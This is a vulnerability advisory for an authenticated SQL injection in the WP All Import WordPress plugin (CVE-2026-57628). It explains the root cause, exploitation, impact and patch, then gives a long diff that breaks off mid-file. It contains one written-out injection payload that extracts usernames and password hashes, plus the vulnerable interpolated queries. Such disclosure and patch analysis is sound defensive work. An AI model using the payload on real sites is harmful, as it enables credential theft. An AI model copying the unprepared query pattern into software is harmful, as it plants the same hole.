Published : July 4, 2026

CVE-2026-57628: WP All Import – Drag & Drop Import for CSV, XML, Excel & Google Sheets <= 4.0.1 Authenticated (Administrator+) SQL Injection PoC, Patch Analysis & Rule

Plugin wp-all-import
Severity Medium (CVSS 4.9)
CWE 89
Vulnerable Version 4.0.1
Patched Version 4.1.0
Disclosed June 25, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-57628:
This vulnerability is an authenticated SQL Injection in the WP All Import plugin for WordPress, affecting versions up to and including 4.0.1. The flaw exists in AJAX handlers that perform database queries using user-supplied meta keys without proper parameterization, allowing administrator-level attackers to extract sensitive database information.

Root Cause:
The root cause lies in the `wp_ajax_auto_detect_cf.php` and `wp_ajax_auto_detect_sf.php` AJAX handlers. In the vulnerable version, these files construct SQL queries by directly interpolating the `$field` parameter (from `$_POST[‘fields’]`) into the query string without preparation. For example, in `wp_ajax_auto_detect_cf.php` lines 56-62, the code built: `”…WHERE usermeta.meta_key='”.$field.”‘”`. The patch replaces these with `$wpdb->prepare()` calls using `%s` placeholders (e.g., `$wpdb->prepare(“SELECT DISTINCT usermeta.meta_value FROM {$wpdb->usermeta} as usermeta WHERE usermeta.meta_key = %s”, $field)`). The same pattern existed in `wp_ajax_auto_detect_sf.php` for `$fieldName`. These handlers are accessible via `wp_ajax_` hooks, meaning authenticated users with the appropriate capability can trigger them.

Exploitation:
An authenticated attacker with administrator-level access (or any user with `PMXI_Plugin::$capabilities`) sends a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `wp_ajax_auto_detect_cf` (or `wp_ajax_auto_detect_sf`). The `security` nonce is verified, but the `fields[]` parameter is not sanitized before use in SQL queries. The attacker can inject SQL by including a single quote in the meta key value. For example, sending `fields[]=test’ UNION SELECT user_login,user_pass FROM wp_users– -` would extract user credentials. The vulnerable code path is triggered when `$_POST[‘fields_to_skip’]` is not set (the default case).

Patch Analysis:
The patch modifies three database query blocks in `wp_ajax_auto_detect_cf.php` (lines 56-62, 76-80, 87-91) and three in `wp_ajax_auto_detect_sf.php` (lines 28-32, 34-38, 40-44). Each vulnerable string interpolation is replaced with `$wpdb->prepare()`, which escapes the user-supplied values using the `%s` placeholder. This prevents SQL injection by ensuring the meta key values are always treated as data, not executable SQL. The patch also adds `if ( ! defined( ‘ABSPATH’ ) ) exit;` guards to prevent direct file access across multiple files, though this is a hardening measure unrelated to the SQL injection fix itself.

Impact:
Successful exploitation allows an attacker to extract the entire WordPress database, including password hashes, user email addresses, session tokens, and sensitive configuration data. The attacker could also potentially modify data (e.g., create new admin users) or execute administrative operations via stacked queries if the database engine supports them. Since the vulnerability requires administrator-level access, the primary risk is privilege escalation within compromised admin accounts or lateral movement from lower-privileged admin roles (e.g., in multisite installations).

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wp-all-import/acc/breakdance-promo.php
+++ b/wp-all-import/acc/breakdance-promo.php
@@ -2,16 +2,18 @@

 namespace WPAIBreakdance;

+if ( ! defined( 'ABSPATH' ) ) exit;
+
 function echoPromoCard() {
     $promoCardStyles = file_get_contents(__DIR__ . "/promo-card-styles.css");
     ?>
     <style>
-        <?php echo $promoCardStyles; ?>
+        <?php echo $promoCardStyles; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Static CSS loaded from local trusted file. ?>
     </style>
     <div class='wpai-breakdance-promo-card'>
-
+
         <div class='promo-breakdance-logo-wrapper'>
-            <a href='https://breakdance.com/' target='_blank'><img class='promo-breakdance-logo' width='120' src='<?php echo WP_ALL_IMPORT_ROOT_URL . '/acc/breakdance-logo-black.png'; ?>' /></a>
+            <a href='https://breakdance.com/' target='_blank'><img class='promo-breakdance-logo' width='120' src='<?php echo esc_url( WP_ALL_IMPORT_ROOT_URL . '/acc/breakdance-logo-black.png' ); ?>' /></a>
         </div>

         <div class='promo-heading'>The Ultimate Visual Website Builder for WordPress</div>
--- a/wp-all-import/actions/add_attachment.php
+++ b/wp-all-import/actions/add_attachment.php
@@ -1,4 +1,5 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) exit;
 /**
  * Fires once an attachment has been added.
  *
--- a/wp-all-import/actions/admin_head.php
+++ b/wp-all-import/actions/admin_head.php
@@ -1,4 +1,5 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) exit;
 function pmxi_admin_head(){
 	?>
 	<style type="text/css">
@@ -32,9 +33,9 @@

 	?>
 	<script type="text/javascript">
-		var ajaxurl = '<?php echo admin_url( "admin-ajax.php" ); ?>';
+		var ajaxurl = '<?php echo esc_url( admin_url( "admin-ajax.php" ) ); ?>';
 		var import_action = '<?php echo esc_js($get_params["action"]); ?>';
-		var wp_all_import_security = '<?php echo wp_unslash($wp_all_import_ajax_nonce); ?>';
+		var wp_all_import_security = '<?php echo esc_js(wp_unslash($wp_all_import_ajax_nonce)); ?>';
 	</script>
 	<?php
 }
 No newline at end of file
--- a/wp-all-import/actions/admin_init.php
+++ b/wp-all-import/actions/admin_init.php
@@ -1,7 +1,10 @@
 <?php

+if ( ! defined( 'ABSPATH' ) ) exit;
 function pmxi_admin_init(){
 	wp_enqueue_script('wp-all-import-script', WP_ALL_IMPORT_ROOT_URL . '/static/js/wp-all-import.js', array('jquery'), PMXI_VERSION, true);
+    // phpcs:ignore Squiz.PHP.DiscouragedFunctions.Discouraged
     @ini_set('mysql.connect_timeout', 300);
+    // phpcs:ignore Squiz.PHP.DiscouragedFunctions.Discouraged
     @ini_set('default_socket_timeout', 300);
 }
 No newline at end of file
--- a/wp-all-import/actions/admin_menu.php
+++ b/wp-all-import/actions/admin_menu.php
@@ -1,4 +1,5 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) exit;
 /**
  * Register plugin specific admin menu
  */
@@ -11,17 +12,17 @@
 	if (current_user_can( PMXI_Plugin::$capabilities )) { // admin management options

 		$wpai_menu = array(
-			array('pmxi-admin-import',  __('New Import', 'pmxi_plugin')),
-			array('pmxi-admin-manage' ,  __('Manage Imports', 'pmxi_plugin')),
-			array('pmxi-admin-settings',  __('Settings', 'pmxi_plugin')),
-			array('pmxi-admin-help',  __('Support', 'pmxi_plugin')),
-			array('pmxi-admin-partners',  __('Partner Discounts', 'pmxi_plugin')),
-			array('pmxi-admin-history',  __('History', 'pmxi_plugin')),
+			array('pmxi-admin-import',  __('New Import', 'wp-all-import')),
+			array('pmxi-admin-manage' ,  __('Manage Imports', 'wp-all-import')),
+			array('pmxi-admin-settings',  __('Settings', 'wp-all-import')),
+			array('pmxi-admin-help',  __('Support', 'wp-all-import')),
+			array('pmxi-admin-partners',  __('Partner Discounts', 'wp-all-import')),
+			array('pmxi-admin-history',  __('History', 'wp-all-import')),
 		);

 		$wpai_menu = apply_filters('pmxi_admin_menu', $wpai_menu);

-		add_menu_page(__('WP All Import', 'wp_all_import_plugin'), __('All Import', 'wp_all_import_plugin'), PMXI_Plugin::$capabilities, 'pmxi-admin-home', array(PMXI_Plugin::getInstance(), 'adminDispatcher'), 'data:image/svg+xml;base64,' . $icon_base64, 112);
+		add_menu_page(__('WP All Import', 'wp-all-import'), __('All Import', 'wp-all-import'), PMXI_Plugin::$capabilities, 'pmxi-admin-home', array(PMXI_Plugin::getInstance(), 'adminDispatcher'), 'data:image/svg+xml;base64,' . $icon_base64, 112);
 		// workaround to rename 1st option to `Home`
 		$submenu['pmxi-admin-home'] = array();

--- a/wp-all-import/actions/admin_notices.php
+++ b/wp-all-import/actions/admin_notices.php
@@ -1,14 +1,19 @@
 <?php

+if ( ! defined( 'ABSPATH' ) ) exit;
 function pmxi_admin_notices() {

 	// compare woocommerce add-on version
 	if ( class_exists( 'PMWI_Plugin' ) and ( defined('PMWI_VERSION') and version_compare(PMWI_VERSION, '2.1.4') < 0 and PMWI_EDITION == 'paid' or defined('PMWI_FREE_VERSION') and version_compare(PMWI_FREE_VERSION, '1.2.2') < 0 and PMWI_EDITION == 'free') ) {
 		?>
 		<div class="error"><p>
-			<?php printf(
-					__('<b>%s Plugin</b>: Please update your WP All Import WooCommerce add-on to the latest version', 'wp_all_import_plugin'),
-					PMWI_Plugin::getInstance()->getName()
+			<?php echo wp_kses(
+					sprintf(
+						/* translators: %s: plugin name */
+						__('<b>%s Plugin</b>: Please update your WP All Import WooCommerce add-on to the latest version', 'wp-all-import'),
+						esc_html(PMWI_Plugin::getInstance()->getName())
+					),
+					array('b' => array())
 			) ?>
 		</p></div>
 		<?php
@@ -33,9 +38,13 @@
 	if ( class_exists( 'PMAI_Plugin' ) and defined('PMAI_VERSION') and version_compare(PMAI_VERSION, '3.0.0-beta1') < 0 and PMAI_EDITION == 'paid' ) {
 		?>
 		<div class="error"><p>
-			<?php printf(
-					__('<b>%s Plugin</b>: Please update your WP All Import ACF add-on to the latest version', 'wp_all_import_plugin'),
-					PMAI_Plugin::getInstance()->getName()
+			<?php echo wp_kses(
+					sprintf(
+						/* translators: %s: plugin name */
+						__('<b>%s Plugin</b>: Please update your WP All Import ACF add-on to the latest version', 'wp-all-import'),
+						esc_html(PMAI_Plugin::getInstance()->getName())
+					),
+					array('b' => array())
 			) ?>
 		</p></div>
 		<?php
@@ -50,9 +59,13 @@
 	if ( class_exists( 'PMLCA_Plugin' ) and defined('PMLCA_VERSION') and version_compare(PMLCA_VERSION, '1.0.0-beta1') < 0 and PMLCA_EDITION == 'paid' ) {
 		?>
 		<div class="error"><p>
-			<?php printf(
-					__('<b>%s Plugin</b>: Please update your WP All Import Linkcloak add-on to the latest version', 'wp_all_import_plugin'),
-					PMLCA_Plugin::getInstance()->getName()
+			<?php echo wp_kses(
+					sprintf(
+						/* translators: %s: plugin name */
+						__('<b>%s Plugin</b>: Please update your WP All Import Linkcloak add-on to the latest version', 'wp-all-import'),
+						esc_html(PMLCA_Plugin::getInstance()->getName())
+					),
+					array('b' => array())
 			) ?>
 		</p></div>
 		<?php
@@ -67,9 +80,13 @@
 	if ( class_exists( 'PMUI_Plugin' ) and defined('PMUI_VERSION') and version_compare(PMUI_VERSION, '1.0.0-beta1') < 0 and PMUI_EDITION == 'paid' ) {
 		?>
 		<div class="error"><p>
-			<?php printf(
-					__('<b>%s Plugin</b>: Please update your WP All Import User add-on to the latest version', 'wp_all_import_plugin'),
-					PMUI_Plugin::getInstance()->getName()
+			<?php echo wp_kses(
+					sprintf(
+						/* translators: %s: plugin name */
+						__('<b>%s Plugin</b>: Please update your WP All Import User add-on to the latest version', 'wp-all-import'),
+						esc_html(PMUI_Plugin::getInstance()->getName())
+					),
+					array('b' => array())
 			) ?>
 		</p></div>
 		<?php
@@ -84,9 +101,13 @@
 	if ( class_exists( 'PMLI_Plugin' ) and defined('PMLI_VERSION') and version_compare(PMLI_VERSION, '1.0.0-beta1') < 0 and PMLI_EDITION == 'paid' ) {
 		?>
 		<div class="error"><p>
-			<?php printf(
-					__('<b>%s Plugin</b>: Please update your WP All Import WPML add-on to the latest version', 'wp_all_import_plugin'),
-					PMLI_Plugin::getInstance()->getName()
+			<?php echo wp_kses(
+					sprintf(
+						/* translators: %s: plugin name */
+						__('<b>%s Plugin</b>: Please update your WP All Import WPML add-on to the latest version', 'wp-all-import'),
+						esc_html(PMLI_Plugin::getInstance()->getName())
+					),
+					array('b' => array())
 			) ?>
 		</p></div>
 		<?php
@@ -114,16 +135,16 @@
 		foreach ($warnings as $code) {
 			switch ($code) {
 				case 1:
-					$m = __('<strong>Warning:</strong> your title is blank.', 'wp_all_import_plugin');
+					$m = __('<strong>Warning:</strong> your title is blank.', 'wp-all-import');
 					break;
 				case 2:
-					$m = __('<strong>Warning:</strong> your content is blank.', 'wp_all_import_plugin');
+					$m = __('<strong>Warning:</strong> your content is blank.', 'wp-all-import');
 					break;
 				case 3:
-					$m = __('<strong>Warning:</strong> You must <a href="https://www.wpallimport.com/checkout/?edd_action=add_to_cart&download_id=5839966&edd_options%5Bprice_id%5D=1&discount=welcome-upgrade-99&utm_source=import-plugin-free&utm_medium=upgrade-notice&utm_campaign=images" target="_blank">upgrade to the Pro edition of WP All Import</a> to import images. The settings you configured in the images section will be ignored.', 'wp_all_import_plugin');
+					$m = __('<strong>Warning:</strong> You must <a href="https://www.wpallimport.com/checkout/?edd_action=add_to_cart&download_id=5839966&edd_options%5Bprice_id%5D=1&discount=welcome-upgrade-99&utm_source=import-plugin-free&utm_medium=upgrade-notice&utm_campaign=images" target="_blank">upgrade to the Pro edition of WP All Import</a> to import images. The settings you configured in the images section will be ignored.', 'wp-all-import');
 					break;
 				case 4:
-					$m = __('<strong>Warning:</strong> You must <a href="https://www.wpallimport.com/checkout/?edd_action=add_to_cart&download_id=5839966&edd_options%5Bprice_id%5D=1&discount=welcome-upgrade-99&utm_source=import-plugin-free&utm_medium=upgrade-notice&utm_campaign=custom-fields" target="_blank">upgrade to the Pro edition of WP All Import</a> to import data to Custom Fields. The settings you configured in the Custom Fields section will be ignored.', 'wp_all_import_plugin');
+					$m = __('<strong>Warning:</strong> You must <a href="https://www.wpallimport.com/checkout/?edd_action=add_to_cart&download_id=5839966&edd_options%5Bprice_id%5D=1&discount=welcome-upgrade-99&utm_source=import-plugin-free&utm_medium=upgrade-notice&utm_campaign=custom-fields" target="_blank">upgrade to the Pro edition of WP All Import</a> to import data to Custom Fields. The settings you configured in the Custom Fields section will be ignored.', 'wp-all-import');
 					break;
 				default:
 					$m = false;
--- a/wp-all-import/actions/attachment_updated.php
+++ b/wp-all-import/actions/attachment_updated.php
@@ -1,4 +1,5 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) exit;
 /**
  * Fires once an existing attachment has been updated.
  *
--- a/wp-all-import/actions/delete_post.php
+++ b/wp-all-import/actions/delete_post.php
@@ -1,5 +1,6 @@
 <?php

+if ( ! defined( 'ABSPATH' ) ) exit;
 function pmxi_delete_post($post_id) {
     if (!empty($post_id) && is_numeric($post_id)){
         $post    = new PMXI_Post_Record();
--- a/wp-all-import/actions/pmxi_after_xml_import.php
+++ b/wp-all-import/actions/pmxi_after_xml_import.php
@@ -1,4 +1,5 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) exit;
 function pmxi_pmxi_after_xml_import( $import_id, $import )
 {
     if ($import->options['custom_type'] == 'taxonomies') {
@@ -49,6 +50,7 @@
         }

         $recount_terms_after_import = TRUE;
+        // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound
         $recount_terms_after_import = apply_filters('wp_all_import_recount_terms_after_import', $recount_terms_after_import, $import_id);
         if ($recount_terms_after_import) {
             // Update term count after import process is complete.
@@ -76,6 +78,7 @@
     // Re-count post comments.
     if ( in_array($import->options['custom_type'], array('comments', 'woo_reviews')) ) {
         $recount_comments_after_import = TRUE;
+        // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound
         $recount_comments_after_import = apply_filters('wp_all_import_recount_comments_after_import', $recount_comments_after_import, $import_id);
         if ($recount_comments_after_import) {
             $comment_posts = get_option('wp_all_import_comment_posts_' . $import_id);
--- a/wp-all-import/actions/pmxi_before_xml_import.php
+++ b/wp-all-import/actions/pmxi_before_xml_import.php
@@ -1,4 +1,5 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) exit;
 function pmxi_pmxi_before_xml_import( $import_id ) {
 	delete_option('wp_all_import_taxonomies_hierarchy_' . $import_id);

@@ -13,7 +14,8 @@
         $current_hash = get_option('_wp_all_import_functions_hash_' . $import_id, false);
         if ($functions_hash !== $current_hash) {
             global $wpdb;
-            $wpdb->query( 'DELETE FROM ' . $wpdb->prefix . 'pmxi_hash WHERE import_id = ' . $import_id );
+            // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching
+            $wpdb->query( $wpdb->prepare( "DELETE FROM {$wpdb->prefix}pmxi_hash WHERE import_id = %d", (int) $import_id ) );
             update_option('_wp_all_import_functions_hash_' . $import_id, $functions_hash, false);
         }
     }
--- a/wp-all-import/actions/pmxi_extend_options_custom_fields.php
+++ b/wp-all-import/actions/pmxi_extend_options_custom_fields.php
@@ -1,4 +1,5 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) exit;
 /**
  * @param $post_type
  * @param $post
@@ -25,6 +26,7 @@
 				$groups = acf_get_local_field_groups();
 			}
 		} else {
+			// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound
 			$groups = apply_filters('acf/get_field_groups', array());
 		}

--- a/wp-all-import/actions/wp_ajax_auto_detect_cf.php
+++ b/wp-all-import/actions/wp_ajax_auto_detect_cf.php
@@ -1,12 +1,13 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) exit;
 function pmxi_wp_ajax_auto_detect_cf(){

     if ( ! check_ajax_referer( 'wp_all_import_secure', 'security', false )){
-        exit( json_encode(array('result' => array(), 'msg' => __('Security check', 'wp_all_import_plugin'))) );
+        exit( json_encode(array('result' => array(), 'msg' => __('Security check', 'wp-all-import'))) );
     }

     if ( ! current_user_can( PMXI_Plugin::$capabilities ) ){
-        exit( json_encode(array('result' => array(), 'msg' => __('Security check', 'wp_all_import_plugin'))) );
+        exit( json_encode(array('result' => array(), 'msg' => __('Security check', 'wp-all-import'))) );
     }

     $input = new PMXI_Input();
@@ -34,6 +35,7 @@
             $fields = $input->post('fields', array());
             break;
         default:
+            // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching,WordPress.DB.PreparedSQL.NotPrepared
             $results = $wpdb->get_results($wpdb->prepare("SELECT DISTINCT meta_key FROM ". $table_prefix ."posts, ". $table_prefix ."postmeta WHERE post_type = %s AND ". $table_prefix ."posts.ID = ". $table_prefix ."postmeta.post_id", $post_type), ARRAY_A);
             if (!empty($results) && !is_wp_error($results)){
                 foreach ($results as $key => $value) {
@@ -51,25 +53,19 @@
             switch ($post_type){
                 case 'import_users':
                 case 'shop_customer':
-                    $values = $wpdb->get_results("
-                        SELECT DISTINCT usermeta.meta_value
-                        FROM ".$wpdb->usermeta." as usermeta
-                        WHERE usermeta.meta_key='".$field."'
-                    ", ARRAY_A);
+                    // phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching
+                    $values = $wpdb->get_results($wpdb->prepare("SELECT DISTINCT usermeta.meta_value FROM {$wpdb->usermeta} as usermeta WHERE usermeta.meta_key = %s", $field), ARRAY_A);
+                    // phpcs:enable WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching
                     break;
                 case 'taxonomies':
-                    $values = $wpdb->get_results("
-                        SELECT DISTINCT termmeta.meta_value
-                        FROM ".$wpdb->termmeta." as termmeta
-                        WHERE termmeta.meta_key='".$field."'
-                    ", ARRAY_A);
+                    // phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching
+                    $values = $wpdb->get_results($wpdb->prepare("SELECT DISTINCT termmeta.meta_value FROM {$wpdb->termmeta} as termmeta WHERE termmeta.meta_key = %s", $field), ARRAY_A);
+                    // phpcs:enable WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching
                     break;
                 default:
-                    $values = $wpdb->get_results("
-                        SELECT DISTINCT postmeta.meta_value
-                        FROM ".$wpdb->postmeta." as postmeta
-                        WHERE postmeta.meta_key='".$field."'
-                    ", ARRAY_A);
+                    // phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching
+                    $values = $wpdb->get_results($wpdb->prepare("SELECT DISTINCT postmeta.meta_value FROM {$wpdb->postmeta} as postmeta WHERE postmeta.meta_key = %s", $field), ARRAY_A);
+                    // phpcs:enable WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching
                     break;
             }

@@ -99,18 +95,21 @@
             case 'taxonomies':
                 $custom_type = new stdClass();
                 $custom_type->labels = new stdClass();
-                $custom_type->labels->singular_name = __('Taxonomy Term', 'wp_all_import_plugin');
+                $custom_type->labels->singular_name = __('Taxonomy Term', 'wp-all-import');
                 break;
             default:
                 $custom_type = get_post_type_object( $post_type );
                 break;
         }
-        $msg = sprintf(__('No Custom Fields are present in your database for %s', 'wp_all_import_plugin'), esc_attr($custom_type->labels->name));
+        /* translators: see placeholders in the string below */
+        $msg = sprintf(__('No Custom Fields are present in your database for %s', 'wp-all-import'), esc_attr($custom_type->labels->name));
     }
     elseif (count($result) === 1)
-        $msg = sprintf(__('%s field was automatically detected.', 'wp_all_import_plugin'), count($result));
+        /* translators: see placeholders in the string below */
+        $msg = sprintf(__('%s field was automatically detected.', 'wp-all-import'), count($result));
     else{
-        $msg = sprintf(__('%s fields were automatically detected.', 'wp_all_import_plugin'), count($result));
+        /* translators: see placeholders in the string below */
+        $msg = sprintf(__('%s fields were automatically detected.', 'wp-all-import'), count($result));
     }

     exit( json_encode(array('result' => $result, 'msg' => $msg)) );
--- a/wp-all-import/actions/wp_ajax_auto_detect_sf.php
+++ b/wp-all-import/actions/wp_ajax_auto_detect_sf.php
@@ -1,12 +1,13 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) exit;
 function pmxi_wp_ajax_auto_detect_sf(){

 	if ( ! check_ajax_referer( 'wp_all_import_secure', 'security', false )){
-		exit( json_encode(array('result' => array(), 'msg' => __('Security check', 'wp_all_import_plugin'))) );
+		exit( json_encode(array('result' => array(), 'msg' => __('Security check', 'wp-all-import'))) );
 	}

 	if ( ! current_user_can( PMXI_Plugin::$capabilities ) ){
-		exit( json_encode(array('result' => array(), 'msg' => __('Security check', 'wp_all_import_plugin'))) );
+		exit( json_encode(array('result' => array(), 'msg' => __('Security check', 'wp-all-import'))) );
 	}

 	$input = new PMXI_Input();
@@ -21,25 +22,19 @@
 	    switch ($post_type){
 			case 'import_users':
 			case 'shop_customer':
-                $values = $wpdb->get_results("
-                    SELECT DISTINCT usermeta.meta_value
-                    FROM ".$wpdb->usermeta." as usermeta
-                    WHERE usermeta.meta_key='".$fieldName."'
-                ", ARRAY_A);
+                // phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching
+                $values = $wpdb->get_results($wpdb->prepare("SELECT DISTINCT usermeta.meta_value FROM {$wpdb->usermeta} as usermeta WHERE usermeta.meta_key = %s", $fieldName), ARRAY_A);
+                // phpcs:enable WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching
                 break;
             case 'taxonomies':
-                $values = $wpdb->get_results("
-                    SELECT DISTINCT termmeta.meta_value
-                    FROM ".$wpdb->termmeta." as termmeta
-                    WHERE termmeta.meta_key='".$fieldName."'
-                ", ARRAY_A);
+                // phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching
+                $values = $wpdb->get_results($wpdb->prepare("SELECT DISTINCT termmeta.meta_value FROM {$wpdb->termmeta} as termmeta WHERE termmeta.meta_key = %s", $fieldName), ARRAY_A);
+                // phpcs:enable WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching
                 break;
             default:
-                $values = $wpdb->get_results("
-                    SELECT DISTINCT postmeta.meta_value
-                    FROM ".$wpdb->postmeta." as postmeta
-                    WHERE postmeta.meta_key='".$fieldName."'
-                ", ARRAY_A);
+                // phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching
+                $values = $wpdb->get_results($wpdb->prepare("SELECT DISTINCT postmeta.meta_value FROM {$wpdb->postmeta} as postmeta WHERE postmeta.meta_key = %s", $fieldName), ARRAY_A);
+                // phpcs:enable WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching
                 break;
         }

--- a/wp-all-import/actions/wp_ajax_delete_import.php
+++ b/wp-all-import/actions/wp_ajax_delete_import.php
@@ -1,12 +1,13 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) exit;
 function pmxi_wp_ajax_delete_import(){

 	if ( ! check_ajax_referer( 'wp_all_import_secure', 'security', false )){
-		exit( json_encode(array('result' => false, 'msg' => __('Security check', 'wp_all_import_plugin'))) );
+		exit( json_encode(array('result' => false, 'msg' => __('Security check', 'wp-all-import'))) );
 	}

 	if ( ! current_user_can( PMXI_Plugin::$capabilities ) ){
-		exit( json_encode(array('result' => false, 'msg' => __('Security check', 'wp_all_import_plugin'))) );
+		exit( json_encode(array('result' => false, 'msg' => __('Security check', 'wp-all-import'))) );
 	}

 	$input = new PMXI_Input();
@@ -36,11 +37,11 @@

 				case 'import_users':
 					$custom_type = new stdClass();
-					$custom_type->label = __('Users', 'wp_all_import_plugin');
+					$custom_type->label = __('Users', 'wp-all-import');
 					break;
 				case 'shop_customer':
 					$custom_type = new stdClass();
-					$custom_type->label = __('Customers', 'wp_all_import_plugin');
+					$custom_type->label = __('Customers', 'wp-all-import');
 					break;
 				default:
 					$custom_type = get_post_type_object( $import['options']['custom_type'] );
@@ -53,13 +54,15 @@
 	}

 	if ( $params['is_delete_import'] and ! $params['is_delete_posts'] ) {
-		$response['redirect'] = esc_url_raw(add_query_arg('pmxi_nt', urlencode(__('Import deleted', 'wp_all_import_plugin')), $params['base_url']));
+		$response['redirect'] = esc_url_raw(add_query_arg('pmxi_nt', urlencode(__('Import deleted', 'wp-all-import')), $params['base_url']));
 	} elseif( ! $params['is_delete_import'] and $params['is_delete_posts']) {
-		$response['redirect'] = esc_url_raw(add_query_arg('pmxi_nt', urlencode(sprintf(__('All associated %s deleted.', 'wp_all_import_plugin'), $cpt_name)), $params['base_url']));
+		/* translators: see placeholders in the string below */
+		$response['redirect'] = esc_url_raw(add_query_arg('pmxi_nt', urlencode(sprintf(__('All associated %s deleted.', 'wp-all-import'), $cpt_name)), $params['base_url']));
 	} elseif( $params['is_delete_import'] and $params['is_delete_posts']) {
-		$response['redirect'] = esc_url_raw(add_query_arg('pmxi_nt', urlencode(sprintf(__('Import and all associated %s deleted.', 'wp_all_import_plugin'), $cpt_name)), $params['base_url']));
+		/* translators: see placeholders in the string below */
+		$response['redirect'] = esc_url_raw(add_query_arg('pmxi_nt', urlencode(sprintf(__('Import and all associated %s deleted.', 'wp-all-import'), $cpt_name)), $params['base_url']));
 	} else {
-		$response['redirect'] = esc_url_raw(add_query_arg('pmxi_nt', urlencode(__('Nothing to delete.', 'wp_all_import_plugin')), $params['base_url']));
+		$response['redirect'] = esc_url_raw(add_query_arg('pmxi_nt', urlencode(__('Nothing to delete.', 'wp-all-import')), $params['base_url']));
 		exit( json_encode( $response ));
 	}

@@ -77,7 +80,8 @@
 				$is_all_records_deleted = $import->deletePostsAjax( ! $params['is_delete_posts'], $params['is_delete_images'], $params['is_delete_attachments'] );

 				$response['result'] = (empty($params['import_ids'][$key + 1])) ? $is_all_records_deleted : false;
-				$response['msg']    = sprintf(__('Import #%d - %d records deleted', 'wp_all_import_plugin'), intval($import->id), intval($import->deleted));
+				/* translators: see placeholders in the string below */
+				$response['msg']    = sprintf(__('Import #%1$d - %2$d records deleted', 'wp-all-import'), intval($import->id), intval($import->deleted));

 				if ( $is_all_records_deleted === true )
 				{
--- a/wp-all-import/actions/wp_ajax_dismiss_notifications.php
+++ b/wp-all-import/actions/wp_ajax_dismiss_notifications.php
@@ -1,12 +1,13 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) exit;
 function pmxi_wp_ajax_dismiss_notifications(){

 	if ( ! check_ajax_referer( 'wp_all_import_secure', 'security', false )){
-		exit( json_encode(array('result' => false, 'msg' => __('Security check', 'wp_all_import_plugin'))) );
+		exit( json_encode(array('result' => false, 'msg' => __('Security check', 'wp-all-import'))) );
 	}

 	if ( ! current_user_can( PMXI_Plugin::$capabilities ) ){
-		exit( json_encode(array('result' => false, 'msg' => __('Security check', 'wp_all_import_plugin'))) );
+		exit( json_encode(array('result' => false, 'msg' => __('Security check', 'wp-all-import'))) );
 	}

 	if (isset($_POST['addon']) ) {
--- a/wp-all-import/actions/wp_ajax_import_failed.php
+++ b/wp-all-import/actions/wp_ajax_import_failed.php
@@ -1,12 +1,13 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) exit;
 function pmxi_wp_ajax_import_failed(){

 	if ( ! check_ajax_referer( 'wp_all_import_secure', 'security', false )){
-		exit( json_encode(array('result' => false, 'msg' => __('Security check', 'wp_all_import_plugin'))) );
+		exit( json_encode(array('result' => false, 'msg' => __('Security check', 'wp-all-import'))) );
 	}

 	if ( ! current_user_can( PMXI_Plugin::$capabilities ) ){
-		exit( json_encode(array('result' => false, 'msg' => __('Security check', 'wp_all_import_plugin'))) );
+		exit( json_encode(array('result' => false, 'msg' => __('Security check', 'wp-all-import'))) );
 	}

     $result = false;
@@ -16,9 +17,9 @@
         if ( ! $import->isEmpty()) {
             $import->set(array(
                 'executing' => 0,
-                'last_activity' => date('Y-m-d H:i:s'),
+                'last_activity' => gmdate('Y-m-d H:i:s'),
                 'failed' => 1,
-                'failed_on' => date('Y-m-d H:i:s')
+                'failed_on' => gmdate('Y-m-d H:i:s')
             ))->save();
             $result = true;
             do_action('pmxi_import_failed', intval($_POST['id']));
--- a/wp-all-import/actions/wp_ajax_test_images.php
+++ b/wp-all-import/actions/wp_ajax_test_images.php
@@ -1,13 +1,14 @@
 <?php

+if ( ! defined( 'ABSPATH' ) ) exit;
 function pmxi_wp_ajax_test_images(){

 	if ( ! check_ajax_referer( 'wp_all_import_secure', 'security', false )){
